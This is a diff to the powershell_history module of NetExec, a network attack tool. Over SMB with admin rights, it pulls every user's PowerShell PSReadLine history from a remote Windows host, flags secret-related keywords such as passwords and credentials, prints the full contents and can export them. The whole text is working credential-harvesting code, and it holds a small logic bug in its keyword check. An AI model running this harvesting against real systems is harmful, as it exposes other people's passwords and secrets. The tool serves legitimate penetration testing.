diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 79de46a5a..c410d3b12 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,73 +1,64 @@ -import traceback from os import makedirs from os.path import join, abspath from nxc.paths import NXC_PATH +from io import BytesIO class NXCModule: - """Module by @357384n""" + # Module by @357384n + # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" description = "Extracts PowerShell history for all users and looks for sensitive commands." supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + sensitive_keywords = [ + "password", "passw", "secret", "credential", "key", + "get-credential", "convertto-securestring", "set-localuser", + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", + "invoke-webrequest", "invoke-restmethod" + ] - def options(self, context, module_options): - """To export all the history you can add the following option: -o export=True""" - context.log.info(f"Received module options: {module_options}") + def options(self, _, module_options): self.export = bool(module_options.get("EXPORT", False)) - context.log.info(f"Option export set to: {self.export}") - - def analyze_history(self, history): - """Analyze PowerShell history for sensitive information.""" - sensitive_keywords = [ - "password", "passwd", "passw", "secret", "credential", "key", - "get-credential", "convertto-securestring", "set-localuser", - "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", - "invoke-webrequest", "invoke-restmethod" - ] - sensitive_commands = [] - for command in history: - command_lower = command.lower() - if any(keyword.lower() in command_lower for keyword in sensitive_keywords): - sensitive_commands.append(command.strip()) - return sensitive_commands def on_admin_login(self, context, connection): - """Main function to retrieve and analyze PowerShell history.""" - try: - context.log.info("Retrieving PowerShell history...") - command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' - history = connection.execute(command, True).split("\n") - if history: - sensitive_commands = self.analyze_history(history) - if sensitive_commands: - context.log.highlight("Sensitive commands found in PowerShell history:") - for command in sensitive_commands: - context.log.highlight(f" {command}") - else: - context.log.info("No sensitive commands found in PowerShell history.") - else: - context.log.info("No PowerShell history found.") - - # Check if export is enabled - context.log.info(f"Export option is set to: {self.export}") - if self.export and history: - host = connection.host # Assuming 'host' contains the target IP or hostname - filename = f"{host}_powershell_history.txt" - export_path = join(NXC_PATH, "modules", "powershell_history") - path = abspath(join(export_path, filename)) - makedirs(export_path, exist_ok=True) - - context.log.info(f"Export enabled, writing history to {path}") + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory(): try: - with open(path, "w") as file: - for cmd in history: - file.write(cmd + "\n") - context.log.highlight(f"PowerShell history written to: {path}") - except Exception as e: - context.log.fail(f"Failed to write history to {filename}: {e}") - except Exception as e: - context.log.fail(f"UNEXPECTED ERROR: {e}") - context.log.debug(traceback.format_exc()) + powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" + for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): + if file.get_longname() not in self.false_positive: + file_path = f"{powershell_history_dir}{file.get_longname()}" + + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore").lower() + keywords = [] + for keyword in self.sensitive_keywords: + if keyword in file_content: + keywords.append(keyword.upper()) + + if keyword: + context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") + else: + context.log.highlight(f"C:\\{file_path}") + + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + if self.export: + filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" + export_path = join(NXC_PATH, "modules", "powershell_history") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"PowerShell history written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write history to {filename}: {e}") + except Exception: + pass